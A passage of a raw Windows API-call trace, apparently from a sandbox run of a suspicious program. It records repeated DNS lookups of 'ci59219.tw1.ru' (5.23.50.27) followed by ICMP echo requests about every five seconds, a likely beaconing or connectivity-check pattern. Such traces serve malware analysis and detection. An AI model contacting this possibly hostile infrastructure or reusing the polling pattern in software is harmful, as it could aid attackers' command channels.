ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219e30*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0227.782] FreeAddrInfoW (pAddrInfo=0x1d1dd8d0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219e30*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0227.782] IcmpCreateFile () returned 0x1d1f5710 [0228.102] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1d1f7d60 [0228.102] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e7ef0 [0228.102] IcmpSendEcho2 (in: IcmpHandle=0x1d1f5710, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e7ef0, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1f7d60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1f7d60) returned 0x1 [0228.582] LocalFree (hMem=0x1d1e7ef0) returned 0x0 [0228.582] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1dd390*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219810*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0228.585] FreeAddrInfoW (pAddrInfo=0x1d1dd390*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219810*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0228.585] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e8130 [0228.585] IcmpSendEcho2 (in: IcmpHandle=0x1d1f5710, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e8130, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1f7d60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1f7d60) returned 0x1 [0228.752] LocalFree (hMem=0x1d1e8130) returned 0x0 [0228.752] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1dcdd0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219e10*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0228.755] FreeAddrInfoW (pAddrInfo=0x1d1dcdd0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219e10*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0228.755] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e8130 [0228.755] IcmpSendEcho2 (in: IcmpHandle=0x1d1f5710, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e8130, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1f7d60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1f7d60) returned 0x1 [0228.958] LocalFree (hMem=0x1d1e8130) returned 0x0 [0234.276] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1dcdd0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2198f0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0234.283] FreeAddrInfoW (pAddrInfo=0x1d1dcdd0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2198f0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0234.283] IcmpCreateFile () returned 0x1d1f5050 [0234.415] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1d1f7d60 [0234.416] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e8280 [0234.416] IcmpSendEcho2 (in: IcmpHandle=0x1d1f5050, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e8280, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1f7d60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1f7d60) returned 0x1 [0234.715] LocalFree (hMem=0x1d1e8280) returned 0x0 [0234.716] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1dcf10*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219bb0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0234.722] FreeAddrInfoW (pAddrInfo=0x1d1dcf10*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219bb0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0234.722] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e7d10 [0234.722] IcmpSendEcho2 (in: IcmpHandle=0x1d1f5050, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e7d10, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1f7d60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1f7d60) returned 0x1 [0235.016] LocalFree (hMem=0x1d1e7d10) returned 0x0 [0235.017] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1dd510*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219a90*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0235.019] FreeAddrInfoW (pAddrInfo=0x1d1dd510*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219a90*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0235.019] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e7d40 [0235.019] IcmpSendEcho2 (in: IcmpHandle=0x1d1f5050, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e7d40, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1f7d60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1f7d60) returned 0x0 [0235.538] LocalFree (hMem=0x1d1e7d40) returned 0x0 [0240.660] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1de090*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2197f0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0240.669] FreeAddrInfoW (pAddrInfo=0x1d1de090*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2197f0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0240.670] IcmpCreateFile () returned 0x1d1f4450 [0241.050] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1d1f7d60 [0241.050] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e8340 [0241.050] IcmpSendEcho2 (in: IcmpHandle=0x1d1f4450, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e8340, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1f7d60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1f7d60) returned 0x0 [0241.160] LocalFree (hMem=0x1d1e8340) returned 0x0 [0241.160] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1dca90*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219c90*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0241.163] FreeAddrInfoW (pAddrInfo=0x1d1dca90*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219c90*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0241.163] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e7d70 [0241.163] IcmpSendEcho2 (in: IcmpHandle=0x1d1f4450, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e7d70, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1f7d60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1f7d60) returned 0x1 [0241.306] LocalFree (hMem=0x1d1e7d70) returned 0x0 [0241.307] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1dd050*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219b30*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0241.311] FreeAddrInfoW (pAddrInfo=0x1d1dd050*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219b30*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0241.311] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e7da0 [0241.311] IcmpSendEcho2 (in: IcmpHandle=0x1d1f4450, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e7da0, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1f7d60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1f7d60) returned 0x1 [0241.646] LocalFree (hMem=0x1d1e7da0) returned 0x0 [0246.807] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1ddb10*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219c70*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0246.823] FreeAddrInfoW (pAddrInfo=0x1d1ddb10*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219c70*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0246.824] IcmpCreateFile () returned 0x1d1f42d0 [0246.993] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1d1f7d60 [0246.993] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e7ce0 [0246.993] IcmpSendEcho2 (in: IcmpHandle=0x1d1f42d0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e7ce0, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1f7d60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1f7d60) returned 0x1 [0247.635] LocalFree (hMem=0x1d1e7ce0) returned 0x0 [0247.636] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1dd290*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219790*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0247.640] FreeAddrInfoW (pAddrInfo=0x1d1dd290*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219790*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0247.640] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e8280 [0247.640] IcmpSendEcho2 (in: IcmpHandle=0x1d1f42d0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e8280, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1f7d60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1f7d60) returned 0x1 [0248.252] LocalFree (hMem=0x1d1e8280) returned 0x0 [0248.253] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1dcdd0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219cd0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0248.257] FreeAddrInfoW (pAddrInfo=0x1d1dcdd0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219cd0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0248.257] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e7c80 [0248.257] IcmpSendEcho2 (in: IcmpHandle=0x1d1f42d0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e7c80, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1f7d60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1f7d60) returned 0x1 [0248.779] LocalFree (hMem=0x1d1e7c80) returned 0x0 [0253.814] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1de5d0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2199d0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0253.822] FreeAddrInfoW (pAddrInfo=0x1d1de5d0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2199d0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0253.822] IcmpCreateFile () returned 0x1d1f4f30 [0253.842] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1d1f7d60 [0253.842] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e6930 [0253.842] IcmpSendEcho2 (in: IcmpHandle=0x1d1f4f30, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e6930, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1f7d60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1f7d60) returned 0x1 [0253.913] LocalFree (hMem=0x1d1e6930) returned 0x0 [0253.914] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1dd8d0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219810*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0253.916] FreeAddrInfoW (pAddrInfo=0x1d1dd8d0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219810*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0253.916] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e7c80 [0253.916] IcmpSendEcho2 (in: IcmpHandle=0x1d1f4f30, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e7c80, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1f7d60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1f7d60) returned 0x1 [0253.987] LocalFree (hMem=0x1d1e7c80) returned 0x0 [0253.990] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1ddb10*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219b70*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0253.992] FreeAddrInfoW (pAddrInfo=0x1d1ddb10*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d219b70*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0253.992] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e6450 [0253.992] IcmpSendEcho2 (in: IcmpHandle=0x1d1f4f30, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e6450, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1f7d60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1f7d60) returned 0x1 [0254.126] LocalFree (hMem=0x1d1e6450) returned 0x0 [0259.146] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1dcb90*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d217ef0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0259.157] FreeAddrInfoW (pAddrInfo=0x1d1dcb90*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d217ef0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0259.157] IcmpCreateFile () returned 0x1d1fa840 [0259.161] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e718ec0 [0259.161] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e6c60 [0259.161] IcmpSendEcho2 (in: IcmpHandle=0x1d1fa840, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e6c60, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0259.239] LocalFree (hMem=0x1d1e6c60) returned 0x0 [0259.239] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1dcf10*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d217f70*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0259.242] FreeAddrInfoW (pAddrInfo=0x1d1dcf10*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d217f70*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0259.242] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e66f0 [0259.242] IcmpSendEcho2 (in: IcmpHandle=0x1d1fa840, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e66f0, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0259.297] LocalFree (hMem=0x1d1e66f0) returned 0x0 [0259.298] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1dcf10*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d217f30*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0259.300] FreeAddrInfoW (pAddrInfo=0x1d1dcf10*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d217f30*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0259.300] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e66f0 [0259.300] IcmpSendEcho2 (in: IcmpHandle=0x1d1fa840, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e66f0, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0259.354] LocalFree (hMem=0x1d1e66f0) returned 0x0 [0264.418] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1dd5d0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d217f50*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0264.427] FreeAddrInfoW (pAddrInfo=0x1d1dd5d0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d217f50*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0264.428] IcmpCreateFile () returned 0x1d1fa420 [0264.527] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e718ec0 [0264.527] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e6e40 [0264.527] IcmpSendEcho2 (in: IcmpHandle=0x1d1fa420, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e6e40, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x0 [0264.700] LocalFree (hMem=0x1d1e6e40) returned 0x0 [0264.700] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1dcc90*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d217ef0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0264.703] FreeAddrInfoW (pAddrInfo=0x1d1dcc90*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d217ef0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0264.703] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e69c0 [0264.703] IcmpSendEcho2 (in: IcmpHandle=0x1d1fa420, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e69c0, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0265.294] LocalFree (hMem=0x1d1e69c0) returned 0x0 [0265.295] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1dd050*(ai_flags=0, ai_family=2, 